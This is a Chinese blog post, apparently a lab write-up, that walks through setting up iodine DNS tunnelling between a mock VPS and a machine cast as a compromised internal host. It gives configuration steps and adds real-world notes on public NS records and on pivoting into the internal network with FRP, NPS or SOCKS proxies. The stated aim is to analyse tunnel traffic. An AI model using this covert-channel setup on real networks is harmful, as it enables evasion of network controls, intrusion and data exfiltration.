宇宙安全声明:本文安装及操作步骤均为内网测试用。仅介绍iodine安装配置,其它工具自行探索。
起因
工作所需,需要分析下隧道的流量,且没有提供测试用公网域名,又不想污染自己的域名。
遂在内网esxi中起虚拟机搭建,记录下操作步骤(实战步骤仅简单介绍,不展开)
。
环境
设备 | IP | 备注 |
---|---|---|
Ubuntu 24 | 10.10.220.162 | 模拟公网DNS递归服务器 |
Ubuntu 24 | 10.10.220.163 | 模拟公网个人VPS |
kali | 10.10.220.161 | 模拟实战中受害内网机器 |
安装&配置
DNS服务器
内网配置
安装一个递归 DNS 服务器,我用的是Technitium,支持docker部署
Technitium DNS Server是一个开源的权威和递归 DNS 服务器,可用于自托管 DNS 服务器以实现隐私和安全。它开箱即用且无需或仅需最小的配置,并提供用户友好的网页控制台,可使用任何现代网页浏览器访问。
10.10.220.162
上执行
systemctl stop systemd-resolved
、systemctl disable systemd-resolved
停掉Ubuntu自带dnsrm -rf /etc/resolv.conf && vim /etc/resolv.conf
添加任意一个dns- 保存以下代码到
docker-compose.yml
,然后docker compose up -d
启动。services: dnsserver: container_name: dns-server hostname: dns-server image: technitium/dns-server:latest network_mode: host ports: - "53:53/tcp" # DNS 服务 - "53:53/udp" # DNS 服务 - "5380:5380/tcp" # Web 控制台(HTTP) environment: - DNS_SERVER_DOMAIN=dns.dnstest.cn - DNS_SERVER_ADMIN_PASSWORD=password # 设置管理员密码 volumes: - ./data:/etc/dns restart: unless-stopped
- 访问
http://10.10.220.162:5380
,导航到Zones
点击Add Zone
添加一个测试用域名。如:dnstun.cn
Add Record
添加一条A记录,IPv4地址为10.10.220.163
,TTL 60 。如:ns.dnstun.cn
Add Record
添加一条NS记录,Name Server
值为ns.dnstun.cn
,TTL 60 。如:tunnel.dnstun.cn
5 6 两个步骤中记录名称随意,ns、dns啥的都可以,确保NS记录的解析值为A记录即可
最终结果如下:
实战配置
实战环境中,需要一个公网可以解析的域名,且域名提供商支持你添加NS记录。
以阿里云为例添加解析:
VPS配置
安装
iodine的Linux端仅支持包管理和源码编译两种方式
启动服务端
10.10.220.163
上执行
systemctl stop systemd-resolved
systemctl disable systemd-resolved
停掉Ubuntu自带dnsrm -rf /etc/resolv.conf && vim /etc/resolv.conf
添加任意一个dns- 安装
sudo apt install iodine
iodined -f -c -P test 192.168.12.1 tunnel.dnstun.cn -DD
启动服务端。
-f:在前台运行
-c:禁止检查所有传入请求的客户端IP地址。
-P:客户端和服务端之间用于验证身份的密码。
-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
域名为NS记录的域名。
另起一个ssh连接,执行ip all
,新增了一个网卡dns0
即为成功。
test@test:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:0c:29:13:f3:cc brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname enx000c2913f3cc
inet 10.10.220.163/22 brd 10.10.223.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:fe13:f3cc/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether ea:0f:8d:4c:8e:43 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
7: dns0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1130 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.12.1/27 scope global dns0
valid_lft forever preferred_lft forever
公网VPS要求
一定记得放开VPS的53端口
客户端
安装
kali自带,win可以到iodine下载预编译执行文件。
连接VPS
10.10.220.161
上执行
systemctl stop systemd-resolved
systemctl disable systemd-resolved
停掉自带dnsrm -rf /etc/resolv.conf && vim /etc/resolv.conf
添加nameserver 10.10.220.162
(实战环境确保客户端dig信息和自己添加的记录值相同即可)- 运行
iodine -f -P test tunnel.dnstun.cn
,出现以下则为成功:└─# iodine -f -P test tunnel.dnstun.cn Opened dns0 Opened IPv4 UDP socket Sending DNS queries for tunnel.dnstun.cn to 10.10.220.162 Autodetecting DNS query type (use -T to override). Using DNS type NULL queries Version ok, both using protocol v 0x00000502. You are user #1 Setting IP of dns0 to 192.168.12.3 #分配给客户端的ip Setting MTU of dns0 to 1130 Server tunnel IP is 192.168.12.1 Testing raw UDP data to the server (skip with -r) Server is at 10.10.220.163, trying raw login: OK Sending raw traffic directly to 10.10.220.163 Connection setup complete, transmitting data.
验证
在VPS上ping或者curl访问分配给客户端的ip,因为这个ip段为虚拟网卡的ip段,能访问通则证明成功。
后续步骤
当前状态可以看作VPS和客户端通过虚拟网卡网线直连,通过VPS无法访问客户端物理网卡的网段,可以通过FRP、NPS等穿透或socket代理实现访问内网。
暂无评论 IP地址位置数据由 纯真CZ88 提供支持